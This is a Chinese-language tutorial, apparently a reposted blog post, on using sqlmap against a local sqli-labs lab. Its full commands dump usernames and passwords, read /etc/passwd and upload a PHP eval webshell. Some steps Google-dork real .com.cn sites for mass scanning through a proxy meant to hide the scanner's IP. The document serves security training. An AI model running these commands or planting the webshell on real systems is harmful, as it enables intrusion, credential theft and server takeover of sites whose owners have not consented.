從一開始的網絡攻防(三):sqlmap快速上手

一、確定目標

使用sqlmap的第一步是確定探測的目標,一般有四種:

  • 數據庫
  • URL
  • 文件
  • Google批量掃

環境

Target IP: 192.168.8.133

Port: 13306(Mysql)、8088(sqli_labs)

mysql: docker pull的最新mysql

sqlmap github:https://github.com/sqlmapproject/sqlmap

直連數據庫

直連數據庫獲得旗標
python sqlmap.py -d "mysql://root:root@192.168.8.133:13306/demo1" -f --banner
  • -d 表示直連
  • mysql 表示數據庫類型
  • root 用戶名
  • root 密碼
  • 192.168.8.133:13306 IP和端口
  • demo1 數據庫
  • -f 獲取指紋
  • --banner 獲取旗標

直連數據庫獲得用戶及權限
python sqlmap.py -d "mysql://root:root@192.168.8.133:13306/demo1" -f --banner -users
  • -users 獲得用戶及權限

URL探測

sqlmap直接對單一URL探測,參數使用-u--url

GET請求

核心命令:sqlmap -u "url"

python sqlmap.py -u "http://192.168.8.133:8088/Less-1/index.php?id=1" --banner

POST請求

核心命令:sqlmap -u "url" --data "post數據"

python sqlmap.py -u "http://192.168.8.133:8088/Less-12/index.php" -f --banner --data "uname=admin&passwd=admin&submit=Submit"
  • --data表示對參數進行注入

有多個注入點時需要選擇以哪個參數進行注入

文件讀取目標

sqlmap支持從不同類型的文件中讀取目標進行sql注入探測

-l - http請求日志文件

從Burpsuite proxy 或 WebScarab proxy中讀取http請求日志文件

1. 設置BurpSuite

2. BurpSuite訪問站點-生成http請求日志

3. 文件讀取目標
python sqlmap.py -l testburp

-m - 多行文本格式文件

從多行文本格式文件讀取多個目標,對多個目標進行探測

文本讀取目標
python sqlmap.py -m multest.txt -f --banner

探測到了兩個目標,less12因為是POST請求,無法使用這種方式爆破

拿到指紋和旗幟

-r - 文本文件中的http請求

從文本文件中讀取http請求作為sql注入探測的目標

1. BurpSuite訪問站點 - 拿到http請求信息

以less19為例,是http頭referer注入

登陸成功的http請求,將referer:之后的內容改成*

2. 文本讀取目標
python sqlmap.py -r httpinfo.txt --dbs

-c - 配置文件

從配置文件sqlmap.conf中讀取目標探測

文本讀取目標

python sqlmap.py -c sqlmap.conf --dbs

-x - 站點地圖文件
  • -x 從sitemap.xml站點地圖文件中讀取目標探測

Google批量掃注入

sqlmap通過-g自動利用Google獲取指定Google hack的目標,然后利用交互問導模式進行sql注入探測

例如:python sqlmap.py -g "inurl:.php?id=1"

python sqlmap.py -g "inurl:.php?id=10 site:.com.cn" \ # 站點包括.com.cn,url包括.php?id=10
--proxy "http://127.0.0.1:8080" \ # 掛代理,防止被封,同時為了訪問google
--threads 5 --batch \ # 開5個線程 自動問詢
--answer "extendina=N,follow=N,keep=N,exploit=n" \ # 自動化注入中使用,對一些特定問題回答
--smart # 智能化探測,只檢查基于錯誤的注入點

二、注入實操

GET請求注入

(一) 探測數據庫名
python sqlmap.py -u "http://192.168.8.133:8088/Less-1/?id=1" --dbs --batch
  • --batch 批處理操作,不需要回答yes or no的問題

(二) 探測表名
python sqlmap.py -u "http://192.168.8.133:8088/Less-1/?id=1" -D security --tables --batch
  • -D security 數據庫為security
  • --tables 探測數據表

(三) 探測字段名
python sqlmap.py -u "http://192.168.8.133:8088/Less-1/?id=1" -D security -T users --columns --batch
  • -T users 表為users
  • --columns 探測字段名

(四) 探測字段值
python sqlmap.py -u "http://192.168.8.133:8088/Less-1/?id=1" -D security -T users -C username, password --dump --batch
  • -C username,password 選擇username,password字段
  • --dump 獲取字段值

(五) 讀取敏感文件 - file-read
python sqlmap.py -u "http://192.168.8.133:8088/Less-1/?id=1" --file-read '/etc/passwd' --output-dir "D:\Tools\Web\sqlmap\output" --batch
  • --file-read 讀取文件
  • --output-dir "D:\Tools\Web\sqlmap\output" 設定輸出位置

(六) 上傳一句話木馬 - file-write
python sqlmap.py -u "http://192.168.8.133:8088/Less-1/?id=1" --file-write 'D:\path\to\muma.php' --file-dest '/var/www/html/muma4.php' --batch
  • --file-write 'D:\path\to\muma.php' 從本地讀取木馬
  • --file-dest '/var/www/html/muma4.php' 上傳木馬到遠程目錄

木馬內容為<?php @eval($_POST['bb']); ?>,上傳成功后用webshell工具連接

成功拿下shell

POST請求注入

以less12為例

復制Burpsuite截斷的http請求數據包到文本文件中,使用sqlmap -r 文件路徑 -p 指定探測參數

(一) 獲取http請求信息

bp抓包獲得Less12的包,然后將raw格式http數據賦值到sqlinject_Less12.txt文本文件中

(二) 測試參數passwd是否是注入點
sqlmap -r /root/sqlinject_Less12.txt -p passwd --technique E
  • --technique E 探測的技術選擇為基于錯誤信息
  • -p uname 探測的參數選擇為passwd
(三) 測試當前數據庫
sqlmap -r /root/sqlinject_Less12.txt -p passwd --technique E --current-db
  • --current-db 獲取當前數據庫

POST請求盲注

以less15為例

(一) 獲得http請求生成target.txt文件

(二) 使用基于時間技術的sqlmap探測
python sqlmap.py -r target.txt --technique T -p uname --dbs --batch
  • --technique T 探測的技術選擇為時間
  • -p uname 探測的參數選擇為uname

sqlmap進行http頭注入

以less19為例

(一) sqlmap自動搜索表單提交內容進行探測(無效)
python sqlmap.py -u "http:/192.168.8.133:8088/Less-19/index.php" --forms
行不通原因

源代碼中對username和password字典進行了過濾

(二) 指定參數探測SQL注入(無效)
python sqlmap.py -u "http:/192.168.8.133:8088/Less-19/index.php" --data "uname=admin&passwd=admin&submit=Submit"
行不通原因

參數在源代碼中已經過濾過,所以不會成功

(三) 解決方案 - 文件讀取目標

指定注入位置進行注入,在保存的文件中,對于參數的修改為*,保存在txt文檔中

python sqlmap.py -r httpinfo.txt --dbs

sqlmap Tamper腳本注入

sqlmap提供了很多腳本方便注入時使用,具體腳本位置為sqlmap下面的tamper目錄

使用方法

以less33為例,寬字節注入

python sqlmap.py -u "192.168.8.133:8088/Less-33/?id=1" --tamper unmagicquotes --dbs

三、其他參數

性能優化參數

  • --keep-alive 設置持久連接,加快探測速度
  • --null-connection 檢索沒有body響應的內容,多用于盲注
  • --thread 最大為10設置多線程
  • -o 開啟所有默認性能優化
  • -smart 快速判斷,只留下有回顯的注入點,節約時間
  • --delay 時間設置延遲 當頁面無變化,布爾無真假,從來不報錯時用延時注入
  • --timeout 時間設置超時
  • --retries 次數設置重新連接次數

等級參數

  • --level 1-5執行的測試等級,cookie在2時測試,use-agent在3時測試
  • --batch?自動選擇yes
  • --risk?執行風險等級,默認為1,2增加基于事件的測試語句,3增加or語句的sql測試(注釋被過濾掉時,需要用or測試)

代理參數

隱藏自己的真實ip

  • --proxy http://ip:端口
  • --proy-file使用一個包含多條代理的文件中的代理
  • 利用burp代理,隱藏真實地址
python sqlmap.py -g "inurl:.php?id=10 site:.com.cn" \ # 站點包括.com.cn,url包括.php?id=10
--proxy "http://127.0.0.1:8080" \ # 掛burp代理,隱藏真實地址
--threads 5 --batch \ # 開5個線程 自動問詢
--answer "extendina=N,follow=N,keep=N,exploit=n" \ # 自動化注入中使用,對一些特定問題回答
--smart # 智能化探測,只檢查基于錯誤的注入點

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/89831.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/89831.shtml
英文地址,請注明出處:http://en.pswp.cn/web/89831.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

《Anaconda 精簡路徑治理》系列 · 番外篇Conda 虛擬環境路徑結構方案全解——六種路徑布局對比、優劣與治理建議

Python 多版本環境治理理念驅動的系統架構設計&#xff1a;三維治理、四級隔離、五項自治 原則-CSDN博客 Anaconda 路徑精簡后暴露 python 及工具到環境變量的配置記錄-CSDN博客 【終極實戰】Conda/Poetry/Virtualenv/Pipenv/Hatch 多工具協同 AnacondaPyCharm&#xff1a;構建…

容器基礎知識3-kubectl、kubeadm 和 kubelet,kube-proxy

kubectl、kubeadm 和 kubelet&#xff0c;kube-proxy的概念和關系一、kubeadm&#xff1a;K8s 集群的 “搭建工程師”核心定位如果把 K8s 集群比作一棟大樓&#xff0c;kubeadm 就是負責 “打地基、搭框架” 的工程師&#xff0c;專門用來快速搭建 K8s 集群的工具。具體工作內容…

langchain調用本地ollama語言模型和嵌入模型

參考&#xff1a;ollama兼容OpenAIEmbeddings的解決思路 解決代碼&#xff1a; 訪問embedding模型代碼 # 測試以下兩個引用都可以 from langchain_openai import OpenAIEmbeddings #from langchain_community.embeddings import OpenAIEmbeddings from typing import List,…

gitlab私有化部署

以下是整理好的Markdown格式文檔&#xff0c;詳細描述了從下載鏡像、啟動鏡像、修改external_url以及設置或重置root密碼的步驟。 GitLab 安裝與配置指南 本文檔將指導您完成GitLab的安裝和基本配置過程&#xff0c;包括下載鏡像、啟動容器、修改外部訪問URL(external_url)及設…

CCLink IE轉ModbusTCP網關配置無紙記錄器(上篇)

本研究案例采用CCLink IE轉ModbusTCP網關技術&#xff0c;實現了將記錄儀數據傳輸至三菱PLCPLC的過程。具體操作步驟如下所述。在確保無紙記錄儀與PT100傳感器傳感器的連接無誤后&#xff0c;應將無紙記錄儀與個人計算機&#xff08;PC&#xff09;通過以太網線進行連接&#x…

近期工作感想:職業規劃篇

最近整理博客時&#xff0c;撞見意外的驚喜——17年剛畢業那會兒寫的職業規劃&#xff0c;靜靜躺在回收站里。 重讀那些碎碎念&#xff0c;忍不住想笑&#xff1a;那時候的焦慮太真切了&#xff0c;哪敢想后來會遇到這么多大佬&#xff0c;推著我往前一直陰暗爬行&#x1f602;…

Matlab自學筆記六十四:求解自變量帶有約束條件的方程

1.說明 有一些方程由于實際問題的需要&#xff0c;需要設置一些限制約束條件&#xff0c;例如x>0等&#xff0c;若使用Matlab編程求解&#xff0c;首先嘗試使用符號運算求解&#xff08;符號運算可參考文章54&#xff1a;Matlab自學筆記五十四&#xff1a;符號數學工具箱和…

Flutter狀態管理篇之ChangeNotifier(二)

目錄 前言 一、ChangeNotifier定義 1.ChangeNotifier定義 2.Listenable的定義 二、繼承體系 三、核心方法解析 1.類結構與屬性分析 1.Listenable的定義 2..核心字段 1.屬性解析 1._count 2._listeners 3.為什么不用const [] 4._notificationCallStackDep…

大帶寬服務器對于高流量網站的作用

隨著科學技術的快速發展&#xff0c;越來越多的網站面臨著高流量的訪問需求&#xff0c;在同一時間中會有著大量的用戶進行訪問&#xff0c;同時也提高了該企業的知名度&#xff0c;但是這對于服務器的性能需求也在逐漸增高&#xff0c;而大帶寬服務器卓越的性能和穩定的傳輸能…

2025年算法備案發號規律總結與下半年發號預測

上半年發號規律總結圖太糊&#xff1f;可看下方表格&#xff08;左劃看全表&#xff09;&#x1f447;今年批次算法備案總批次發布時間所發當批算法材料提交時間段審核周期25年第一批第十批2025/3/122025年1月&#xff08;春節前&#xff09;約2個月25年第二批第十一批2025/5/1…

高光譜相機(Hyperspectral Camera)

高光譜相機&#xff08;Hyperspectral Camera&#xff09;高光譜相機&#xff1a;是一種可以采集連續、多達上百個窄波段的光譜信息的成像設備。它的核心特征是&#xff1a;每個像素點都擁有一個完整的光譜曲線&#xff0c;類似于“像素級別的光譜儀”。舉例&#xff1a;普通彩…

經典排序算法之歸并排序(Merge Sort)

歸并算法定義&#xff1a;所謂歸并排序是指將兩個或兩個以上有序的數列&#xff08;或有序表&#xff09;&#xff0c;合并成一個仍然有序的數列&#xff08;或有序表&#xff09;。這樣的排序方法經常用于多個有序的數據文件歸并成一個有序的數據文件。歸并排序相比較之前的排…

Linux系統環境下 Node.js 20 安裝實踐:glibc 2.17 兼容方案與工具鏈優化

前言&#xff1a;在 CentOS 7.9 的生產環境中&#xff0c;默認搭載的 glibc 2.17 是系統的核心依賴&#xff0c;直接升級它可能引發穩定性風險。而 Node.js 20 作為較新的運行時&#xff0c;其與 glibc 的兼容性長期困擾著開發者&#xff1a;為什么有些場景下 Node.js 20 能直接…

構建一個簡單的Java框架來測量并發執行任務的時間

文章目錄一、完整代碼二、代碼解釋1、方法簽名2、初始化CountDownLatch3、提交任務到執行器4、任務線程的邏輯5、主線程的邏輯詳細解釋總結以下代碼實現了一個簡單的框架&#xff0c;用于測量并發執行任務的時間。它使用了Executor來執行任務&#xff0c;并通過CountDownLatch來…

精通 triton 使用 MLIR 的源碼邏輯 - 第001節:triton 的應用簡介

項目使用到 MLIR&#xff0c;通過了解 triton 對 MLIR 的使用&#xff0c;體會到 MLIR 在較大項目中的使用方式&#xff0c;匯總一下。1. Triton 概述OpenAI Triton 是一個開源的編程語言和編譯器&#xff0c;旨在簡化 GPU 高性能計算&#xff08;HPC&#xff09; 的開發&#…

Python爬蟲-政務網站自動采集數據框架

前言 本文是該專欄的第81篇,后面會持續分享python爬蟲干貨知識,記得關注。 本文,筆者將詳細介紹一個基于政務網站進行自動采集數據的爬蟲框架。對此感興趣的同學,千萬別錯過。 廢話不多說,具體細節部分以及詳細思路邏輯,跟著筆者直接往下看正文部分。(附帶框架完整代碼…

GitHub 趨勢日報 (2025年07月19日)

&#x1f4ca; 由 TrendForge 系統生成 | &#x1f310; https://trendforge.devlive.org/ &#x1f310; 本日報中的項目描述已自動翻譯為中文 &#x1f4c8; 今日獲星趨勢圖 今日獲星趨勢圖1054shadPS4695n8n361remote-jobs321maigret257github-mcp-server249open_deep_res…

2025開源組件安全工具推薦OpenSCA

OpenSCA是國內最早的開源SCA平臺&#xff0c;繼承了商業級SCA的開源應用安全缺陷檢測、多級開源依賴挖掘、縱深代碼同源檢測等核心能力&#xff0c;通過軟件成分分析、依賴分析、特征分析、引用識別、合規分析等方法&#xff0c;深度挖掘組件中潛藏的各類安全漏洞及開源協議風險…

旅游管理實訓基地建設:筑牢文旅人才培養的實踐基石

隨著文旅產業的蓬勃發展&#xff0c;行業對高素質、強實踐的旅游管理人才需求日益迫切。旅游管理實訓基地建設作為連接理論教學與行業實踐的關鍵紐帶&#xff0c;既是深化產教融合的重要載體&#xff0c;也是提升旅游管理專業人才培養質量的核心抓手。一、旅游管理實訓基地建設…

網絡爬蟲的相關知識和操作

介紹 爬蟲的定義 爬蟲&#xff08;Web Crawler&#xff09;是一種自動化程序&#xff0c;用于從互聯網上抓取、提取和存儲網頁數據。其核心功能是模擬人類瀏覽行為&#xff0c;訪問目標網站并解析頁面內容&#xff0c;最終將結構化數據保存到本地或數據庫。 爬蟲的工作原理 …